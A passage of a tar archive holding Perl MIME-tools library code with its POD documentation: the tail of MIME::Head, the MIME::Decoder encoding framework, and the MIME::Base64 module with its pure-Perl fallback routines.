    CC: =?ISO-8859-1?Q?Andr=E9_?= Pirard <PIRARD@vm1.ulg.ac.be>
    Subject: =?ISO-8859-1?B?SWYgeW91IGNhbiByZWFkIHRoaXMgeW8=?=
     =?ISO-8859-2?B?dSB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?=
     =?US-ASCII?Q?.._cool!?=

That basically decodes to (sorry, I can only approximate the
Latin characters with 7 bit sequences /o and 'e):

    From: Keith Moore <moore@cs.utk.edu>
    To: Keld J/orn Simonsen <keld@dkuug.dk>
    CC: Andr'e  Pirard <PIRARD@vm1.ulg.ac.be>
    Subject: If you can read this you understand the example... cool!

B<Note:> currently, the decodings are done without regard to the
character set: thus, the Q-encoding C<=F8> is simply translated to the
octet (hexadecimal C<F8>), period.  For piece-by-piece decoding
of a given field, you want the array context of 
L<MIME::Word::decode_mimewords()>.

B<Warning:> the CRLF+SPACE separator that splits up long encoded words 
into shorter sequences (see the Subject: example above) gets lost
when the field is unfolded, and so decoding after unfolding causes
a spurious space to be left in the field.  
I<THEREFORE: if you're going to decode, do so BEFORE unfolding!>

This method returns the self object.

I<Thanks to Kent Boortz for providing the idea, and the baseline 
RFC-1522-decoding code.>

=cut

sub decode {
    my $self = shift;
    my ($tag, $i, @decoded);
    foreach $tag ($self->tags) {
	@decoded = map { scalar(decode_mimewords($_, Field=>$tag))
			 } $self->get_all($tag);
	for ($i = 0; $i < @decoded; $i++) {
	    $self->replace($tag, $decoded[$i], $i);
	}
    }
    $self;
}

#------------------------------

=item delete TAG,[INDEX]

I<Instance method, inherited.>
Delete all occurences of the field named TAG.

    ### Remove some MIME information:
    $head->delete('MIME-Version');
    $head->delete('Content-type');

=cut

### Inherited


#------------------------------
#
# exists
#
sub exists {   
    usage "deprecated; use count() instead";
    shift->count(@_);
}

#------------------------------
#
# fields
#
sub fields {
    usage "deprecated: use tags() instead",
    shift->tags(@_);
}

#------------------------------

=item get TAG,[INDEX]

I<Instance method, inherited.>  
Get the contents of field TAG.

If a B<numeric INDEX> is given, returns the occurence at that index, 
or undef if not present:

    ### Print the first and last 'Received:' entries (explicitly):
    print "First, or most recent: ", $head->get('received', 0), "\n";
    print "Last, or least recent: ", $head->get('received',-1), "\n"; 

If B<no INDEX> is given, but invoked in a B<scalar> context, then
INDEX simply defaults to 0:

    ### Get the first 'Received:' entry (implicitly):
    my $most_recent = $head->get('received');

If B<no INDEX> is given, and invoked in an B<array> context, then
I<all> occurences of the field are returned:

    ### Get all 'Received:' entries:
    my @all_received = $head->get('received');

=cut

### Inherited.


#------------------------------

=item get_all FIELD

I<Instance method.>
Returns the list of I<all> occurences of the field, or the 
empty list if the field is not present:

    ### How did it get here?
    @history = $head->get_all('Received');

B<Note:> I had originally experimented with having C<get()> return all 
occurences when invoked in an array context... but that causes a lot of 
accidents when you get careless and do stuff like this:

    print "\u$field: ", $head->get($field), "\n";

It also made the intuitive behaviour unclear if the INDEX argument 
was given in an array context.  So I opted for an explicit approach
to asking for all occurences.

=cut

sub get_all {
    my ($self, $tag) = @_;
    $self->count($tag) or return ();          ### empty if doesn't exist
    ($self->get($tag));
}

#------------------------------
#
# original_text
#
# Instance method, DEPRECATED.  
# Return an approximation of the original text.
#    
sub original_text {
    usage "deprecated: use stringify() instead";
    shift->stringify(@_);
}

#------------------------------

=item print [OUTSTREAM]

I<Instance method, override.>
Print the header out to the given OUTSTREAM, or the currently-selected
filehandle if none.  The OUTSTREAM may be a filehandle, or any object
that responds to a print() message.

The override actually lets you print to any object that responds to
a print() method.  This is vital for outputting MIME entities to scalars.

Also, it defaults to the I<currently-selected> filehandle if none is given
(not STDOUT!), so I<please> supply a filehandle to prevent confusion.

=cut

sub print {
    my ($self, $fh) = @_;
    $fh = wraphandle($fh || select);   ### get output handle, as a print()able
    $fh->print($self->as_string);
}

#------------------------------
#
# set TAG,TEXT
#
# Instance method, DEPRECATED.
# Set the field named TAG to [the single occurence given by the TEXT.
#
sub set {
    my $self = shift;
    usage "deprecated: use the replace() method instead.";
    $self->replace(@_);
}

#------------------------------

=item stringify

I<Instance method.>
Return the header as a string.  You can also invoke it as C<as_string>.

=cut

sub stringify {
    my $self = shift;          ### build clean header, and output...
    my @header = grep {defined($_) ? $_ : ()} @{$self->header};
    join "", map { /\n$/ ? $_ : "$_\n" } @header;
}
sub as_string { shift->stringify(@_) }

#------------------------------

=item unfold [FIELD]

I<Instance method, inherited.>
Unfold (remove newlines in) the text of all occurences of the given FIELD.  
If the FIELD is omitted, I<all> fields are unfolded.
Returns the "self" object.

=cut

### Inherited


#------------------------------

=back

=head2 MIME-specific methods

All of the following methods extract information from the following fields:

    Content-type
    Content-transfer-encoding
    Content-disposition

Be aware that they do not just return the raw contents of those fields,
and in some cases they will fill in sensible (I hope) default values.
Use C<get()> or C<mime_attr()> if you need to grab and process the 
raw field text.

B<Note:> some of these methods are provided both as a convenience and
for backwards-compatibility only, while others (like
recommended_filename()) I<really do have to be in MIME::Head to work
properly,> since they look for their value in more than one field.
However, if you know that a value is restricted to a single
field, you should really use the Mail::Field interface to get it.

=over 4

=cut

#------------------------------


#------------------------------
#
# params TAG
#
# Instance method, DEPRECATED.
# Extract parameter info from a structured field, and return
# it as a hash reference.  Provided for 1.0 compatibility only!
# Use the new MIME::Field interface classes (subclasses of Mail::Field).  

sub params {
    my ($self, $tag) = @_;
    usage "deprecated: use the MIME::Field interface classes from now on!";
    return MIME::Field::ParamVal->parse_params($self->get($tag,0));     
}

#------------------------------

=item mime_attr ATTR,[VALUE]

A quick-and-easy interface to set/get the attributes in structured 
MIME fields:

    $head->mime_attr("content-type"         => "text/html");
    $head->mime_attr("content-type.charset" => "US-ASCII");
    $head->mime_attr("content-type.name"    => "homepage.html");

This would cause the final output to look something like this:

    Content-type: text/html; charset=US-ASCII; name="homepage.html"

Note that the special empty sub-field tag indicates the anonymous 
first sub-field.

B<Giving VALUE as undefined> will cause the contents of the named subfield 
to be deleted:

    $head->mime_attr("content-type.charset" => undef);

B<Supplying no VALUE argument> just returns the attribute's value,
or undefined if it isn't there:

    $type = $head->mime_attr("content-type");      ### text/html
    $name = $head->mime_attr("content-type.name"); ### homepage.html

In all cases, the new/current value is returned.

=cut

sub mime_attr {
    my ($self, $attr, $value) = @_;

    ### Break attribute name up:
    my ($tag, $subtag) = split /\./, $attr;
    $subtag ||= '_';

    ### Set or get?
    my $field = MIME::Field::ParamVal->parse($self->get($tag, 0));
    if (@_ > 2) {   ### set it:
	$field->param($subtag, $value);             ### set subfield
	$self->replace($tag, $field->stringify);    ### replace!
	return $value;
    }
    else {          ### get it:
	return $field->param($subtag);
    }
}

#------------------------------

=item mime_encoding

I<Instance method.>
Try I<real hard> to determine the content transfer encoding
(e.g., C<"base64">, C<"binary">), which is returned in all-lowercase.

If no encoding could be found, the default of C<"7bit"> is returned.  
I quote from RFC-1521 section 5:

    This is the default value -- that is, "Content-Transfer-Encoding: 7BIT" 
    is assumed if the Content-Transfer-Encoding header field is not present.

=cut

sub mime_encoding {
    my $self = shift;
    lc($self->mime_attr('content-transfer-encoding') || '7bit');
}

#------------------------------

=item mime_type [DEFAULT]

I<Instance method.>
Try C<real hard> to determine the content type (e.g., C<"text/plain">,
C<"image/gif">, C<"x-weird-type">, which is returned in all-lowercase.  
"Real hard" means that if no content type could be found, the default 
(usually C<"text/plain">) is returned.  From RFC-1521 section 7.1:

    The default Content-Type for Internet mail is 
    "text/plain; charset=us-ascii".

Unless this is a part of a "message/digest", in which case "message/rfc822"
is the default.  Note that you can also I<set> the default, but you 
shouldn't: normally only the MIME parser uses this feature.

=cut

sub mime_type {
    my ($self, $default) = @_;
    $self->{MIH_DefaultType} = $default if @_ > 1;
    lc($self->mime_attr('content-type') || 
       $self->{MIH_DefaultType} || 
       'text/plain');
}

#------------------------------

=item multipart_boundary

I<Instance method.>
If this is a header for a multipart message, return the 
"encapsulation boundary" used to separate the parts.  The boundary
is returned exactly as given in the C<Content-type:> field; that
is, the leading double-hyphen (C<-->) is I<not> prepended.

Well, I<almost> exactly... this passage from RFC-1521 dictates
that we remove any trailing spaces:

   If a boundary appears to end with white space, the white space 
   must be presumed to have been added by a gateway, and must be deleted.

Returns undef (B<not> the empty string) if either the message is not
multipart, if there is no specified boundary, or if the boundary is
illegal (e.g., if it is empty after all trailing whitespace has been
removed).

=cut

sub multipart_boundary {
    my $self = shift;
    my $value =  $self->mime_attr('content-type.boundary');
    (!defined($value) or $value eq '') ? undef : $value;
}

#------------------------------

=item recommended_filename

I<Instance method.>
Return the recommended external filename.  This is used when
extracting the data from the MIME stream.

Returns undef if no filename could be suggested.

=cut

sub recommended_filename {
    my $self = shift;
    my $value;

    ### Start by trying to get 'filename' from the 'content-disposition':
    $value = $self->mime_attr('content-disposition.filename');
    return $value if (defined($value) and $value ne '');

    ### No?  Okay, try to get 'name' from the 'content-type':
    $value = $self->mime_attr('content-type.name');
    return $value if (defined($value) and $value ne '');

    ### Sorry:
    undef;
}


#------------------------------

=back

=cut


#------------------------------
#
# tweak_FROM_parsing
#
# DEPRECATED.  Use the inherited mail_from() class method now.

sub tweak_FROM_parsing {
    my $self = shift;
    usage "deprecated.  Use mail_from() instead.";
    $self->mail_from(@_);
}


__END__

#------------------------------


=head1 NOTES

=over 4

=item Why have separate objects for the entity, head, and body?

See the documentation for the MIME-tools distribution
for the rationale behind this decision.


=item Why assume that MIME headers are email headers?

I quote from Achim Bohnet, who gave feedback on v.1.9 (I think
he's using the word "header" where I would use "field"; e.g.,
to refer to "Subject:", "Content-type:", etc.):

    There is also IMHO no requirement [for] MIME::Heads to look 
    like [email] headers; so to speak, the MIME::Head [simply stores] 
    the attributes of a complex object, e.g.:

        new MIME::Head type => "text/plain",
                       charset => ...,
                       disposition => ..., ... ;

I agree in principle, but (alas and dammit) RFC-1521 says otherwise.
RFC-1521 [MIME] headers are a syntactic subset of RFC-822 [email] headers.
Perhaps a better name for these modules would be RFC1521:: instead of
MIME::, but we're a little beyond that stage now.

In my mind's eye, I see an abstract class, call it MIME::Attrs, which does
what Achim suggests... so you could say:

     my $attrs = new MIME::Attrs type => "text/plain",
				 charset => ...,
                                 disposition => ..., ... ;

We could even make it a superclass of MIME::Head: that way, MIME::Head
would have to implement its interface, I<and> allow itself to be
initiallized from a MIME::Attrs object.

However, when you read RFC-1521, you begin to see how much MIME information
is organized by its presence in particular fields.  I imagine that we'd
begin to mirror the structure of RFC-1521 fields and subfields to such 
a degree that this might not give us a tremendous gain over just
having MIME::Head.


=item Why all this "occurence" and "index" jazz?  Isn't every field unique?

Aaaaaaaaaahh....no.

Looking at a typical mail message header, it is sooooooo tempting to just
store the fields as a hash of strings, one string per hash entry.  
Unfortunately, there's the little matter of the C<Received:> field, 
which (unlike C<From:>, C<To:>, etc.) will often have multiple 
occurences; e.g.:

    Received: from gsfc.nasa.gov by eryq.pr.mcs.net  with smtp
        (Linux Smail3.1.28.1 #5) id m0tStZ7-0007X4C; 
	 Thu, 21 Dec 95 16:34 CST
    Received: from rhine.gsfc.nasa.gov by gsfc.nasa.gov 
	 (5.65/Ultrix3.0-C) id AA13596; 
	 Thu, 21 Dec 95 17:20:38 -0500
    Received: (from eryq@localhost) by rhine.gsfc.nasa.gov 
	 (8.6.12/8.6.12) id RAA28069; 
	 Thu, 21 Dec 1995 17:27:54 -0500
    Date: Thu, 21 Dec 1995 17:27:54 -0500
    From: Eryq <eryq@rhine.gsfc.nasa.gov>
    Message-Id: <199512212227.RAA28069@rhine.gsfc.nasa.gov>
    To: eryq@eryq.pr.mcs.net
    Subject: Stuff and things

The C<Received:> field is used for tracing message routes, and although
it's not generally used for anything other than human debugging, I
didn't want to inconvenience anyone who actually wanted to get at that
information.  

I also didn't want to make this a special case; after all, who
knows what other fields could have multiple occurences in the
future?  So, clearly, multiple entries had to somehow be stored
multiple times... and the different occurences had to be retrievable.

=back


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.

The more-comprehensive filename extraction is courtesy of 
Lee E. Brotzman, Advanced Data Solutions.


=head1 VERSION

$Revision: 5.202 $ $Date: 2000/06/05 13:37:54 $

=cut

1;
wm357/MIME/Decoder.pm100755    312    144       37003  7116726461  13443 0ustar  webmailuserspackage MIME::Decoder;


=head1 NAME

MIME::Decoder - an object for decoding the body part of a MIME stream


=head1 SYNOPSIS

B<Decoding a data stream.>
Here's a simple filter program to read quoted-printable data from STDIN
(until EOF) and write the decoded data to STDOUT:

    use MIME::Decoder;
    
    $decoder = new MIME::Decoder 'quoted-printable' or die "unsupported";
    $decoder->decode(\*STDIN, \*STDOUT);

B<Encoding a data stream.>
Here's a simple filter program to read binary data from STDIN
(until EOF) and write base64-encoded data to STDOUT:

    use MIME::Decoder;
    
    $decoder = new MIME::Decoder 'base64' or die "unsupported";
    $decoder->encode(\*STDIN, \*STDOUT);

You can B<write and install your own decoders> so that
MIME::Decoder will know about them:

    use MyBase64Decoder;
    
    install MyBase64Decoder 'base64';

You can also B<test if an encoding is supported:> 

    if (supported MIME::Decoder 'x-uuencode') {
        ### we can uuencode!
    }


=head1 DESCRIPTION

This abstract class, and its private concrete subclasses (see below)
provide an OO front end to the actions of...

=over 4

=item *

Decoding a MIME-encoded stream

=item *

Encoding a raw data stream into a MIME-encoded stream.

=back

The constructor for MIME::Decoder takes the name of an encoding
(C<base64>, C<7bit>, etc.), and returns an instance of a I<subclass>
of MIME::Decoder whose C<decode()> method will perform the appropriate
decoding action, and whose C<encode()> method will perform the appropriate
encoding action.


=cut


### Pragmas:
use strict;
use vars qw($VERSION %DecoderFor);

### System modules:
use FileHandle;
use Carp;
use IPC::Open2;

### Kit modules:
use MIME::Tools qw(:config :msgs);
use IO::Wrap;


#------------------------------
#
# Globals
# 
#------------------------------

### The stream decoders:
%DecoderFor = (

  ### Standard...
    '7bit'       => 'MIME::Decoder::NBit',
    '8bit'       => 'MIME::Decoder::NBit',
    'base64'     => 'MIME::Decoder::Base64',
    'binary'     => 'MIME::Decoder::Binary',
    'none'       => 'MIME::Decoder::Binary',
    'quoted-printable' => 'MIME::Decoder::QuotedPrint',

  ### Non-standard...
    'x-uu'       => 'MIME::Decoder::UU',
    'x-uuencode' => 'MIME::Decoder::UU',

  ### This was removed, since I fear that x-gzip != x-gzip64...
### 'x-gzip'     => 'MIME::Decoder::Gzip64',

  ### This is no longer installed by default, since not all folks have gzip:
### 'x-gzip64'   => 'MIME::Decoder::Gzip64',
);

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

### Me:
my $ME = 'MIME::Decoder';


#------------------------------

=head1 PUBLIC INTERFACE

=head2 Standard interface

If all you are doing is I<using> this class, here's all you'll need...

=over 4

=cut

#------------------------------

=item new ENCODING

I<Class method, constructor.>
Create and return a new decoder object which can handle the 
given ENCODING.

    my $decoder = new MIME::Decoder "7bit";

Returns the undefined value if no known decoders are appropriate.

=cut

sub new {
    my ($class, @args) = @_;
    my ($encoding) = @args;
    my ($concrete_name, $concrete_path);

    ### Coerce the type to be legit:
    $encoding = lc($encoding || '');

    ### Get the class:
    ($concrete_name = $DecoderFor{$encoding}) or return undef;
    ($concrete_path = $concrete_name.'.pm') =~ s{::}{/}g;

    ### Create the new object (if we can):
    my $self = { MD_Encoding => lc($encoding) };
    require $concrete_path;
    bless $self, $concrete_name;
    $self->init(@args);
}

#------------------------------

=item best ENCODING

I<Class method, constructor.>
Exactly like new(), except that this defaults any unsupported encoding to 
"binary", after raising a suitable warning (it's a fatal error if there's 
no binary decoder).

    my $decoder = best MIME::Decoder "x-gzip64";

Will either return a decoder, or a raise a fatal exception.

=cut

sub best {
    my ($class, $enc, @args) = @_;
    my $self = $class->new($enc, @args);
    if (!$self) {
	carp "unsupported encoding '$enc': using 'binary'";
	$self = $class->new('binary') || croak "ack! no binary decoder!";
    }
    $self;
}

#------------------------------

=item decode INSTREAM,OUTSTREAM

I<Instance method.>
Decode the document waiting in the input handle INSTREAM,
writing the decoded information to the output handle OUTSTREAM.

Read the section in this document on I/O handles for more information
about the arguments.  Note that you can still supply old-style
unblessed filehandles for INSTREAM and OUTSTREAM.

Returns true on success, throws exception on failure.

=cut

sub decode {
    my ($self, $in, $out) = @_;
    
    ### Set up the default input record separator to be CRLF:
    ### $in->input_record_separator("\012\015");

    ### Coerce old-style filehandles to legit objects, and do it!
    $in  = wraphandle($in);
    $out = wraphandle($out);

    ### Invoke back-end method to do the work:
    $self->decode_it($in, $out) ||
	die "$ME: ".$self->encoding." decoding failed\n";
    1;
}

#------------------------------

=item encode INSTREAM,OUTSTREAM

I<Instance method.>
Encode the document waiting in the input filehandle INSTREAM,
writing the encoded information to the output stream OUTSTREAM.

Read the section in this document on I/O handles for more information
about the arguments.  Note that you can still supply old-style
unblessed filehandles for INSTREAM and OUTSTREAM.

Returns true on success, throws exception on failure.

=cut

sub encode {
    my ($self, $in, $out) = @_;
    
    ### Coerce old-style filehandles to legit objects, and do it!
    $in  = wraphandle($in);
    $out = wraphandle($out);

    ### Invoke back-end method to do the work:
    $self->encode_it($in, $out) || 
	die "$ME: ".$self->encoding." encoding failed\n";
}

#------------------------------

=item encoding

I<Instance method.>
Return the encoding that this object was created to handle,
coerced to all lowercase (e.g., C<"base64">).

=cut

sub encoding {
    shift->{MD_Encoding};
}

#------------------------------

=item head [HEAD]

I<Instance method.>
Completely optional: some decoders need to know a little about the file 
they are encoding/decoding; e.g., x-uu likes to have the filename.
The HEAD is any object which responds to messages like:

    $head->mime_attr('content-disposition.filename');

=cut

sub head {
    my ($self, $head) = @_;
    $self->{MD_Head} = $head if @_ > 1;
    $self->{MD_Head};
}

#------------------------------

=item supported [ENCODING]

I<Class method.>
With one arg (an ENCODING name), returns truth if that encoding
is currently handled, and falsity otherwise.  The ENCODING will
be automatically coerced to lowercase:

    if (supported MIME::Decoder '7BIT') {
        ### yes, we can handle it...
    }
    else {
        ### drop back six and punt...
    } 

With no args, returns a reference to a hash of all available decoders,
where the key is the encoding name (all lowercase, like '7bit'),
and the value is true (it happens to be the name of the class 
that handles the decoding, but you probably shouldn't rely on that).
You may safely modify this hash; it will I<not> change the way the 
module performs its lookups.  Only C<install> can do that.

I<Thanks to Achim Bohnet for suggesting this method.>

=cut

sub supported {
    my ($class, $decoder) = @_;
    defined($decoder) ? $DecoderFor{lc($decoder)}: { %DecoderFor };
}

#------------------------------

=back

=head2 Subclass interface

If you are writing (or installing) a new decoder subclass, there
are some other methods you'll need to know about:

=over 4

=cut

#------------------------------

=item decode_it INSTREAM,OUTSTREAM

I<Abstract instance method.>  
The back-end of the B<decode> method.  It takes an input handle
opened for reading (INSTREAM), and an output handle opened for
writing (OUTSTREAM).

If you are writing your own decoder subclass, you must override this
method in your class.  Your method should read from the input
handle via C<getline()> or C<read()>, decode this input, and print the
decoded data to the output handle via C<print()>.  You may do this
however you see fit, so long as the end result is the same.

Note that unblessed references and globrefs are automatically turned
into I/O handles for you by C<decode()>, so you don't need to worry
about it.

Your method must return either C<undef> (to indicate failure),
or C<1> (to indicate success).
It may also throw an exception to indicate failure.

=cut

sub decode_it {
    die "attempted to use abstract 'decode_it' method!";
}

#------------------------------

=item encode_it INSTREAM,OUTSTREAM

I<Abstract instance method.>  
The back-end of the B<encode> method.  It takes an input handle
opened for reading (INSTREAM), and an output handle opened for
writing (OUTSTREAM).

If you are writing your own decoder subclass, you must override this
method in your class.  Your method should read from the input
handle via C<getline()> or C<read()>, encode this input, and print the
encoded data to the output handle via C<print()>.  You may do this
however you see fit, so long as the end result is the same.

Note that unblessed references and globrefs are automatically turned
into I/O handles for you by C<encode()>, so you don't need to worry
about it.

Your method must return either C<undef> (to indicate failure),
or C<1> (to indicate success).  
It may also throw an exception to indicate failure.

=cut

sub encode_it {
    die "attempted to use abstract 'encode_it' method!";
}

#------------------------------

=item filter IN, OUT, COMMAND...

I<Class method, utility.>
If your decoder involves an external program, you can invoke
them easily through this method.  The command must be a "filter": a 
command that reads input from its STDIN (which will come from the IN argument)
and writes output to its STDOUT (which will go to the OUT argument).

For example, here's a decoder that un-gzips its data:

    sub decode_it {
        my ($self, $in, $out) = @_;
        $self->filter($in, $out, "gzip -d -");
    }

The usage is similar to IPC::Open2::open2 (which it uses internally), 
so you can specify COMMAND as a single argument or as an array.

=cut

sub filter {
    my ($self, $in, $out, @cmd) = @_;
    my $buf = '';

    ### Make sure we've got MIME::IO-compliant objects:
    $in  = wraphandle($in);
    $out = wraphandle($out);
   
    ### Open pipe:
    STDOUT->flush;       ### very important, or else we get duplicate output!
    my $kidpid = open2(\*CHILDOUT, \*CHILDIN, @cmd) || die "open2 failed: $!";

    ### Write all:
    while ($in->read($buf, 2048)) { print CHILDIN $buf }
    close \*CHILDIN;

    ### Read all:
    while (read(\*CHILDOUT, $buf, 2048)) { $out->print($buf) }
    close \*CHILDOUT;
    
    ### Wait for it:
    waitpid($kidpid,0) or die "couldn't reap child $kidpid";
    1;
}


#------------------------------

=item init ARGS...

I<Instance method.>
Do any necessary initialization of the new instance,
taking whatever arguments were given to C<new()>.
Should return the self object on success, undef on failure.

=cut

sub init {
    $_[0];
}

#------------------------------

=item install ENCODINGS...

I<Class method>.  
Install this class so that each encoding in ENCODINGS is handled by it:

    install MyBase64Decoder 'base64', 'x-base64super';

You should not override this method.

=cut

sub install {
    my $class = shift;
    $DecoderFor{lc(shift @_)} = $class while (@_);
}

#------------------------------

=item uninstall ENCODINGS...

I<Class method>.  
Uninstall support for encodings.  This is a way to turn off the decoding
of "experimental" encodings.  For safety, always use MIME::Decoder directly:

    uninstall MIME::Decoder 'x-uu', 'x-uuencode';

You should not override this method.

=cut

sub uninstall {
    shift;
    $DecoderFor{lc(shift @_)} = undef while (@_);
}

1;

__END__

#------------------------------

=back

=head1 DECODER SUBCLASSES

You don't need to C<"use"> any other Perl modules; the
following "standard" subclasses are included as part of MIME::Decoder:

     Class:                         Handles encodings:
     ------------------------------------------------------------
     MIME::Decoder::Binary          binary
     MIME::Decoder::NBit            7bit, 8bit
     MIME::Decoder::Base64          base64
     MIME::Decoder::QuotedPrint     quoted-printable

The following "non-standard" subclasses are also included:

     Class:                         Handles encodings:
     ------------------------------------------------------------
     MIME::Decoder::UU              x-uu, x-uuencode
     MIME::Decoder::Gzip64          x-gzip64            ** requires gzip!



=head1 NOTES

=head2 Input/Output handles

As of MIME-tools 2.0, this class has to play nice with the new MIME::Body
class... which means that input and output routines cannot just assume that 
they are dealing with filehandles.  

Therefore, all that MIME::Decoder and its subclasses require (and, thus, 
all that they can assume) is that INSTREAMs and OUTSTREAMs are objects 
which respond to a subset of the messages defined in the IO::Handle 
interface; minimally: 

      print
      getline
      read(BUF,NBYTES)

For backwards compatibilty, if you supply a scalar filehandle name
(like C<"STDOUT">) or an unblessed glob reference (like C<\*STDOUT>)
where an INSTREAM or OUTSTREAM is expected, this package will 
automatically wrap it in an object that fits these criteria, via IO::Wrap.

I<Thanks to Achim Bohnet for suggesting this more-generic I/O model.>


=head2 Writing a decoder

If you're experimenting with your own encodings, you'll probably want
to write a decoder.  Here are the basics:

=over 4

=item 1.

Create a module, like "MyDecoder::", for your decoder.
Declare it to be a subclass of MIME::Decoder.

=item 2.

Create the following instance methods in your class, as described above:

    decode_it
    encode_it
    init

=item 3.

In your application program, activate your decoder for one or
more encodings like this:

    require MyDecoder;

    install MyDecoder "7bit";   ### use MyDecoder to decode "7bit"    
    install MyDecoder "x-foo";  ### also use MyDecoder to decode "x-foo"

=back

To illustrate, here's a custom decoder class for the C<quoted-printable> 
encoding:

    package MyQPDecoder;

    @ISA = qw(MIME::Decoder);    
    use MIME::Decoder;
    use MIME::QuotedPrint;
    
    ### decode_it - the private decoding method
    sub decode_it {
        my ($self, $in, $out) = @_;
        
        while (defined($_ = $in->getline)) {
            my $decoded = decode_qp($_);
	    $out->print($decoded);
        }
        1;
    }
    
    ### encode_it - the private encoding method
    sub encode_it {
        my ($self, $in, $out) = @_;
        
        my ($buf, $nread) = ('', 0); 
        while ($in->read($buf, 60)) {
            my $encoded = encode_qp($buf);
	    $out->print($encoded);
        }
        1;
    }

That's it.  The task was pretty simple because the C<"quoted-printable"> 
encoding can easily be converted line-by-line... as can
even C<"7bit"> and C<"8bit"> (since all these encodings guarantee 
short lines, with a max of 1000 characters).
The good news is: it is very likely that it will be similarly-easy to 
write a MIME::Decoder for any future standard encodings.

The C<"binary"> decoder, however, really required block reads and writes:
see L<"MIME::Decoder::Binary"> for details.


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.202 $ $Date: 2000/06/05 13:37:53 $

=cut

1;
wm357/MIME/Base64.pm100755    312    144       12744  7127540666  13132 0ustar  webmailusers#
# $Id: Base64.pm,v 2.14 1999/02/27 20:40:04 gisle Exp $

package MIME::Base64;

=head1 NAME

MIME::Base64 - Encoding and decoding of base64 strings

=head1 SYNOPSIS

 use MIME::Base64;

 $encoded = encode_base64('Aladdin:open sesame');
 $decoded = decode_base64($encoded);

=head1 DESCRIPTION

This module provides functions to encode and decode strings into the
Base64 encoding specified in RFC 2045 - I<MIME (Multipurpose Internet
Mail Extensions)>. The Base64 encoding is designed to represent
arbitrary sequences of octets in a form that need not be humanly
readable. A 65-character subset ([A-Za-z0-9+/=]) of US-ASCII is used,
enabling 6 bits to be represented per printable character.

The following functions are provided:

=over 4

=item encode_base64($str, [$eol])

Encode data by calling the encode_base64() function.  The first
argument is the string to encode.  The second argument is the line
ending sequence to use (it is optional and defaults to C<"\n">).  The
returned encoded string is broken into lines of no more than 76
characters each and it will end with $eol unless it is empty.  Pass an
empty string as second argument if you do not want the encoded string
broken into lines.

=item decode_base64($str)

Decode a base64 string by calling the decode_base64() function.  This
function takes a single argument which is the string to decode and
returns the decoded data.

Any character not part of the 65-character base64 subset set is
silently ignored.  Characters occuring after a '=' padding character
are never decoded.

If the length of the string to decode (after ignoring
non-base64 chars) is not a multiple of 4 or padding occurs too ealy,
then a warning is generated if perl is running under C<-w>.

=back

If you prefer not to import these routines into your namespace you can
call them as:

    use MIME::Base64 ();
    $encoded = MIME::Base64::encode($decoded);
    $decoded = MIME::Base64::decode($encoded);

=head1 DIAGNOSTICS

The following warnings might be generated if perl is invoked with the
C<-w> switch:

=over 4

=item Premature end of base64 data

The number of characters to decode is not a multiple of 4.  Legal
base64 data should be padded with one or two "=" characters to make
its length a multiple of 4.  The decoded result will anyway be as if
the padding was there.

=item Premature padding of base64 data

The '=' padding character occurs as the first or second character
in a base64 quartet.

=back

=head1 EXAMPLES

If you want to encode a large file, you should encode it in chunks
that are a multiple of 57 bytes.  This ensures that the base64 lines
line up and that you do not end up with padding in the middle. 57
bytes of data fills one complete base64 line (76 == 57*4/3):

   use MIME::Base64 qw(encode_base64);

   open(FILE, "/var/log/wtmp") or die "$!";
   while (read(FILE, $buf, 60*57)) {
       print encode_base64($buf);
   }

or if you know you have enough memory

   use MIME::Base64 qw(encode_base64);
   local($/) = undef;  # slurp
   print encode_base64(<STDIN>);

=head1 COPYRIGHT

Copyright 1995-1999 Gisle Aas.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

Distantly based on LWP::Base64 written by Martijn Koster
<m.koster@nexor.co.uk> and Joerg Reichelt <j.reichelt@nexor.co.uk> and
code posted to comp.lang.perl <3pd2lp$6gf@wsinti07.win.tue.nl> by Hans
Mulder <hansm@wsinti07.win.tue.nl>

The XS implementation use code from metamail.  Copyright 1991 Bell
Communications Research, Inc. (Bellcore)

=cut

use strict;
use vars qw(@ISA @EXPORT $VERSION $OLD_CODE);

require Exporter;
require DynaLoader;
@ISA = qw(Exporter DynaLoader);
@EXPORT = qw(encode_base64 decode_base64);

$VERSION = '2.11';

eval { bootstrap MIME::Base64 $VERSION; };
if ($@) {
    # can't bootstrap XS implementation, use perl implementation
    *encode_base64 = \&old_encode_base64;
    *decode_base64 = \&old_decode_base64;

    $OLD_CODE = $@;
    #warn $@ if $^W;
}

# Historically this module has been implemented as pure perl code.
# The XS implementation runs about 20 times faster, but the Perl
# code might be more portable, so it is still here.

use integer;

sub old_encode_base64 ($;$)
{
    my $res = "";
    my $eol = $_[1];
    $eol = "\n" unless defined $eol;
    pos($_[0]) = 0;                          # ensure start at the beginning
    while ($_[0] =~ /(.{1,45})/gs) {
	$res .= substr(pack('u', $1), 1);
	chop($res);
    }
    $res =~ tr|` -_|AA-Za-z0-9+/|;               # `# help emacs
    # fix padding at the end
    my $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if $padding;
    # break encoded string into lines of no more than 76 characters each
    if (length $eol) {
	$res =~ s/(.{1,76})/$1$eol/g;
    }
    $res;
}


sub old_decode_base64 ($)
{
    local($^W) = 0; # unpack("u",...) gives bogus warning in 5.00[123]

    my $str = shift;
    my $res = "";

    $str =~ tr|A-Za-z0-9+=/||cd;            # remove non-base64 chars
    if (length($str) % 4) {
	require Carp;
	Carp::carp("Length of base64 data not a multiple of 4")
    }
    $str =~ s/=+$//;                        # remove padding
    $str =~ tr|A-Za-z0-9+/| -_|;            # convert to uuencoded format
    while ($str =~ /(.{1,60})/gs) {
	my $len = chr(32 + length($1)*3/4); # compute length byte
	$res .= unpack("u", $len . $1 );    # uudecode
    }
    $res;
}

# Set up aliases so that these functions also can be called as
#
#    MIME::Base64::encode();
#    MIME::Base64::decode();

*encode = \&encode_base64;
*decode = \&decode_base64;

1;
wm357/MIME/QuotedPrint.pm100755    312    144        5614  7131617161  14330 0ustar  webmailusers#
